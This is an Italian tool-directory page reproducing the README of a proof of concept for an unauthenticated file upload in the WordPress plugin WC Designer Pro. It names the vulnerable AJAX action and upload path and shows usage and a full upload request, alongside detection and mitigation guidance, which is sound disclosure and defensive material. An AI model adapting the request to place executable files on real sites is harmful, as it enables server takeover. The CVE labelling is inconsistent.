Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-6440-Poc-Exploit | Kitploit
Strumenti/GitHubGitHub/m2hcz/cve-2025-6440-poc-exploit
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubm2hcz/cve-2025-6440-poc-exploit

CVE-2025-6440-Poc-Exploit

Vedi Repository
121 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

WC Designer Pro — Caricamento arbitrario di file non autenticato

Prova di concetto per la ricerca di sicurezza

Python WordPress Research

CWE Severity Authentication

Una prova di concetto non distruttiva per una vulnerabilità di caricamento arbitrario di file senza autenticazione che colpisce il plugin WordPress WC Designer Pro.


Sommario

  • Panoramica della vulnerabilità
  • Impatto sulla sicurezza
  • Versioni interessate
  • Causa principale
  • Flusso dell'attacco
  • Requisiti
  • Installazione
  • Utilizzo
  • Dettagli tecnici
  • Verifica sicura
  • Indicatori di esposizione
  • Mitigazione
  • Uso legale ed etico
  • Stato della divulgazione
  • Riferimenti
  • Crediti

Panoramica della vulnerabilità

WC Designer Pro contiene una vulnerabilità di caricamento arbitrario di file senza autenticazione in un'azione AJAX esposta tramite l'endpoint admin-ajax.php di WordPress.

Il gestore interessato elabora metadati dei file controllati dall'utente e contenuti dei file senza applicare adeguati controlli di autenticazione, autorizzazione, validazione dell'estensione, validazione del tipo MIME o restrizioni lato server sui nomi dei file.

In configurazioni vulnerabili, un attaccante non autenticato potrebbe riuscire a caricare un file eseguibile lato server in una directory accessibile via web. Lo sfruttamento riuscito può comportare l'esecuzione remota di codice con i privilegi del processo del server web.

L'intervallo esatto delle versioni interessate, l'identificativo CVE e il punteggio CVSS devono essere pubblicati solo dopo essere stati verificati in modo indipendente.


Impatto sulla sicurezza

Lo sfruttamento riuscito potrebbe consentire a un attaccante non autenticato di:

  • Caricare file non autorizzati nell'installazione WordPress.
  • Memorizzare file in una directory di upload accessibile pubblicamente.
  • Eseguire codice lato server quando le estensioni eseguibili vengono accettate.
  • Leggere o modificare dati accessibili all'account del server web.
  • Compromettere l'installazione WordPress interessata.
  • Usare il server compromesso come punto di appoggio per ulteriori attacchi.

L'impatto finale dipende dalla configurazione del server web, dalle regole di esecuzione PHP, dai permessi del filesystem e dai controlli di sicurezza implementati dal provider di hosting.


Versioni interessate

L'intervallo di versioni interessate è attualmente in fase di validazione.

root@kitploit:~
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed

Non dichiarare che tutte le versioni sono interessate, a meno che test o conferme del vendor supportino tale conclusione.


Causa principale

Il flusso di upload vulnerabile sembra fidarsi dei valori controllati dall'attaccante forniti alla seguente azione AJAX:

root@kitploit:~
wcdp_save_canvas_design_ajax

La richiesta contiene metadati del file come:

  • Estensione del file
  • Identificativo del file
  • Identificativo della destinazione
  • Contenuto del file caricato

La vulnerabilità esiste quando il server accetta questi valori senza eseguire tutti i seguenti controlli:

  1. Controlli di autenticazione e autorizzazione.
  2. Validazione del nonce WordPress.
  3. Allowlist rigorosa delle estensioni.
  4. Validazione del tipo MIME basata sul contenuto del file.
  5. Normalizzazione e sanificazione del nome del file.
  6. Applicazione di una destinazione di upload non eseguibile.
  7. Prevenzione dell'accesso web diretto ai file temporanei.

Flusso dell'attacco

root@kitploit:~
Unauthenticated request
          │
          ▼
/wp-admin/admin-ajax.php
          │
          ▼
action=wcdp_save_canvas_design_ajax
          │
          ▼
Insufficient validation of uploaded file
          │
          ▼
File written to a web-accessible directory
          │
          ▼
Potential server-side code execution

Il percorso di upload osservato segue questa struttura:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}

Il percorso esatto può variare in base alla versione del plugin, alla configurazione di WordPress e all'ambiente server.


Requisiti

  • Python 3.8 o successivo
  • pip
  • Un ambiente di laboratorio WordPress
  • Un target autorizzato
  • Un'installazione vulnerabile di WC Designer Pro

Questa prova di concetto non deve essere usata contro sistemi di terze parti senza esplicita autorizzazione scritta.


Installazione

Clona il repository:

root@kitploit:~
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc

Crea e attiva un ambiente virtuale:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate

Su Windows:

root@kitploit:~
python -m venv .venv
.venv\Scripts\Activate.ps1

Installa le dipendenze:

root@kitploit:~
pip install -r requirements.txt

Esempio di requirements.txt:

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0

Utilizzo

La prova di concerto deve essere eseguita solo contro un singolo target di laboratorio autorizzato.

root@kitploit:~
python3 exploit.py --url https://wordpress-lab.example

Per una verifica non distruttiva:

root@kitploit:~
python3 exploit.py \
  --url https://wordpress-lab.example \
  --file ./payloads/verification.txt

Esempio di file di verifica:

root@kitploit:~
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing

Usa il comando di help integrato per visualizzare gli argomenti supportati:

root@kitploit:~
python3 exploit.py --help

Esempio di output:

root@kitploit:~
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]

WC Designer Pro arbitrary file-upload verification PoC

options:
  -h, --help         show this help message and exit
  --url URL          authorized WordPress target
  --file FILE        harmless verification file
  --timeout SECONDS  HTTP request timeout

Dettagli tecnici

Endpoint vulnerabile

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary

La richiesta invoca:

root@kitploit:~
action=wcdp_save_canvas_design_ajax

Di seguito è mostrata una struttura semplificata della richiesta:

root@kitploit:~
------Boundary
Content-Disposition: form-data; name="action"

wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"

{
  "mode": "save",
  "editor": "frontend",
  "uniq": "research-verification",
  "files": [
    {
      "name": "verification",
      "ext": "txt",
      "count": "file1"
    }
  ]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain

Authorized security verification
------Boundary--

Questo esempio usa intenzionalmente un file di testo non eseguibile.

Risposta osservata

Una richiesta riuscita può restituire una risposta simile a:

root@kitploit:~
{
  "userID": false,
  "filesCMYK": [],
  "success": true
}

Una risposta di successo da sola non dimostra l'esecuzione remota di codice. Il ricercatore deve confermare separatamente che:

  1. Il file è stato creato.
  2. Il file è accessibile.
  3. La directory di destinazione consente l'esecuzione lato server.
  4. Il test è stato condotto in un ambiente autorizzato.

Verifica sicura

La procedura di verifica consigliata è:

  1. Distribuisci WordPress in un ambiente locale isolato.
  2. Installa la versione del plugin sospettata di essere vulnerabile.
  3. Crea un file marcatore .txt innocuo.
  4. Invia il marcatore usando l'azione AJAX interessata.
  5. Conferma se il file è stato salvato senza autenticazione.
  6. Registra la richiesta e la risposta HTTP.
  7. Elimina il file marcatore caricato.
  8. Distruggi o ripristina l'ambiente di laboratorio.

Evita di caricare web shell o payload di esecuzione comandi quando un innocuo file marcatore è sufficiente per dimostrare la vulnerabilità.

Prove attese

Un rapporto valido dovrebbe contenere:

  • Versione di WordPress.
  • Versione di WC Designer Pro.
  • Versioni del web server e di PHP.
  • Richiesta HTTP completa.
  • Risposta HTTP completa.
  • Percorso del file risultante.
  • Prova che non è stata usata alcuna sessione autenticata.
  • Screenshot o log che confermano il marcatore caricato.
  • Conferma della pulizia.

Indicatori di esposizione

Gli amministratori dovrebbero ispezionare la seguente directory:

root@kitploit:~
/wp-content/uploads/wcdp-uploads/temp/

I potenziali indicatori includono:

  • File eseguibili inattesi come .php, .phtml, .phar o simili.
  • Sottodirectory con nomi casuali.
  • File creati da utenti sconosciuti.
  • Richieste a admin-ajax.php che usano l'azione AJAX interessata.
  • Richieste HTTP che accedono a file appena creati all'interno della directory di upload temporanea.
  • Processi figlio creati inaspettatamente dal processo PHP o dal web server.

Esempio di ricerca nei log:

root@kitploit:~
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/

Esempio di ricerca nel filesystem:

root@kitploit:~
find wp-content/uploads/wcdp-uploads/temp \
  -type f \
  \( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)

Mitigazione

Gli amministratori del sito dovrebbero:

  1. Aggiornare WC Designer Pro a una versione patchata confermata, quando disponibile.
  2. Disattivare e rimuovere il plugin quando non è disponibile una patch.
  3. Bloccare l'esecuzione di script lato server all'interno delle directory di upload di WordPress.
  4. Ispezionare la directory di upload temporanea per individuare file non autorizzati.
  5. Esaminare i log di accesso del web server per tentativi di exploit.
  6. Ruotare i salt WordPress e le credenziali amministrative se si sospetta una compromissione.
  7. Ruotare, quando pertinente, le credenziali di database, hosting, FTP, SSH e API.
  8. Ricostruire l'installazione WordPress da fonti attendibili dopo una compromissione confermata.

Configurazione server consigliata

Per Nginx, nega l'esecuzione di PHP all'interno della directory uploads:

root@kitploit:~
location ~* /wp-content/uploads/.*\.php$ {
    deny all;
    return 403;
}

Per Apache, inserisci una regola appropriata all'interno della directory uploads:

root@kitploit:~
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
    Require all denied
</FilesMatch>

Questi controlli sono misure di difesa in profondità e non sostituiscono la correzione del codice vulnerabile del plugin.

Controlli consigliati a livello di codice

I manutentori del plugin dovrebbero:

  • Richiedere l'autenticazione dove appropriato.
  • Verificare le capacità dell'utente con current_user_can().
  • Richiedere e validare un nonce WordPress.
  • Usare una allowlist rigorosa delle estensioni consentite.
  • Validare i file usando wp_check_filetype_and_ext().
  • Generare i nomi dei file lato server.
  • Memorizzare i file temporanei al di fuori della root web quando possibile.
  • Impedire che contenuti eseguibili vengano salvati nelle directory di upload.
  • Restituire errori generici senza esporre percorsi interni.

Uso legale ed etico

Questo repository è destinato esclusivamente a:

  • Test di penetrazione autorizzati.
  • Ricerca di vulnerabilità.
  • Validazione difensiva.
  • Formazione sulla sicurezza.
  • Riproduzione in ambienti di laboratorio isolati.

Non usare questo codice per accedere, modificare, interrompere o compromettere sistemi senza esplicita autorizzazione.

L'autore non è responsabile dell'uso non autorizzato, illegale o abusivo di questo materiale. Gli utenti sono gli unici responsabili del rispetto delle leggi, dei contratti, delle regole di ingaggio e dei requisiti di divulgazione coordinata delle vulnerabilità applicabili.


Stato della divulgazione

root@kitploit:~
Discovery date:       To be added
Vendor contacted:     To be added
Vendor response:      To be added
Patch released:       To be added
CVE requested:        To be added
CVE assigned:         To be added
Public disclosure:    To be added

Non pubblicare un CVE segnaposto come se fosse un identificativo assegnato.

Quando un CVE viene assegnato, sostituisci il segnaposto con il record ufficiale:

root@kitploit:~
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment

Riferimenti

  • Sicurezza dei plugin WordPress
  • Documentazione AJAX di WordPress
  • Cheat Sheet sul caricamento di file di OWASP
  • Caricamento di file senza restrizioni di OWASP
  • CWE-434: Caricamento senza restrizioni di file con tipo pericoloso

Crediti

m2hcz
Ricercatore di sicurezza offensiva
GitHub · Portfolio

Registro delle modifiche

v1.0.0

  • Aggiunto flusso di lavoro per la verifica della vulnerabilità.
  • Aggiunto supporto per file marcatore non distruttivo.
  • Aggiunto rilevamento dell'esposizione di endpoint e plugin.
  • Aggiunta raccolta strutturata delle prove.
  • Aggiunta gestione dei timeout e degli errori delle richieste.
  • Aggiunte linee guida per la mitigazione e la risposta agli incidenti.

La ricerca sulla sicurezza dovrebbe ridurre il rischio, non crearlo.

Realizzato per test di sicurezza autorizzati da m2hcz.

Scarica lo strumento
ProprietàValore
ProdottoWC Designer Pro
PiattaformaWordPress
Classe di vulnerabilitàCaricamento arbitrario di file senza restrizioni
CWECWE-434
Autenticazione richiestaNo
Interazione utente richiestaNo
Impatto potenzialeEsecuzione remota di codice
Complessità dell'attaccoBassa
Componente vulnerabileGestore AJAX di upload di WordPress
Azione AJAXwcdp_save_canvas_design_ajax